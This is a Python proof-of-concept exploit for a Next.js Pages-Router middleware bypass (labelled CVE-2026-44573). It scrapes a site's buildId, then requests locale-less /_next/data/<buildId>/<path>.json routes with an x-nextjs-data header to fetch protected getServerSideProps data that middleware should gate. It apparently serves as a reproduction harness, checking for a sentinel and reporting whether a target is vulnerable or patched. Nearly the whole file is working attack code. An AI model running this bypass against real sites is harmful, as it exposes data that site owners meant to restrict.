#!/usr/bin/env python3 """ CVE-2026-44573 / GHSA-36qx-fr4f-26g5 i18n Pages-Router /_next/data//.json middleware bypass ===================================================================== Usage: TARGET=http://localhost:3000 python3 exploit.py BUILD_ID= TARGET=... python3 exploit.py Attack model ------------ Pages-Router apps with `i18n` config expose every page at: /_next/data///.json On vulnerable Next.js the middleware matcher's i18n branch only recognises that *locale-prefixed* shape. The no-locale variant /_next/data//.json slips through the matcher -> middleware is not invoked -> the JSON `getServerSideProps` payload is rendered for clients that should have been gated. """ import os import re import sys import urllib.request import urllib.error R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m" SENTINEL = "SECRET_PROPS_FLAG" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, *_a, **_kw): return None def fetch(url, headers=None, timeout=15): headers = headers or {} req = urllib.request.Request(url, headers=headers, method="GET") opener = urllib.request.build_opener(NoRedirect()) try: with opener.open(req, timeout=timeout) as resp: return resp.status, dict(resp.getheaders()), resp.read(200_000) except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read(200_000) except Exception as e: # noqa: BLE001 print(f"{R} network error: {e}{N}") return 0, {}, b"" def header(d, name): for k, v in d.items(): if k.lower() == name.lower(): return v return "" def discover_build_id(target): """Scrape the buildId out of __NEXT_DATA__ on the homepage.""" code, _h, body = fetch(target + "/") text = body.decode("utf-8", "replace") m = re.search(r'"buildId"\s*:\s*"([^"]+)"', text) return m.group(1) if m else None def main(): target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/") protected = os.environ.get("PROTECTED_PATH", "/secret") default_locale = os.environ.get("DEFAULT_LOCALE", "en") build_id = os.environ.get("BUILD_ID") or discover_build_id(target) print(f"{B}{'=' * 66}{N}") print(f"{B} CVE-2026-44573 — Pages-Router i18n data-route middleware bypass {N}") print(f"{B}{'=' * 66}{N}") print(f" Target : {target}") print(f" Protected path : {protected}") print(f" Default locale : {default_locale}") print(f" buildId : {build_id or '(NOT FOUND — set BUILD_ID env var)'}\n") if not build_id: sys.exit(2) # ---- step 2 — baseline --------------------------------------------- print(f"{Y}[2/4] Baseline — canonical GET {protected}{N}") code, h, _ = fetch(target + protected) print(f" HTTP {code} Location: {header(h, 'location') or '(none)'}\n") # ---- step 3 — bypass attempts -------------------------------------- print(f"{Y}[3/4] Bypass — _next/data without locale prefix{N}") url_a = f"/_next/data/{build_id}{protected}.json" url_b = f"/_next/data/{build_id}/{default_locale}{protected}.json" print(f" GET {url_a}") a_code, a_h, a_body = fetch(target + url_a, headers={ # `x-nextjs-data: 1` makes the inner Next server treat the request as # a Pages-Router data request even when the matcher's locale logic # would otherwise rewrite the URL. "x-nextjs-data": "1", }) a_text = a_body.decode("utf-8", "replace") print(f" HTTP {a_code} Content-Type: {header(a_h, 'content-type')}") if header(a_h, "location"): print(f" Location: {header(a_h, 'location')}") print(f" GET {url_b}") b_code, b_h, b_body = fetch(target + url_b, headers={ "x-nextjs-data": "1", }) b_text = b_body.decode("utf-8", "replace") print(f" HTTP {b_code} Content-Type: {header(b_h, 'content-type')}") if header(b_h, "location"): print(f" Location: {header(b_h, 'location')}") print() # ---- step 4 — verdict ---------------------------------------------- print(f"{Y}[4/4] Verdict{N}") vuln = False for tag, code, text in (("A", a_code, a_text), ("B", b_code, b_text)): if code == 200 and SENTINEL in text: print(f" {R}x VULNERABLE — variant {tag}: data-route returned the" f" protected JSON payload (sentinel '{SENTINEL}' present).{N}") vuln = True if vuln: print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}") sys.exit(0) print(f" {G}v PATCHED — data-route variants were redirected/blocked.{N}") print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}") sys.exit(1) if __name__ == "__main__": main()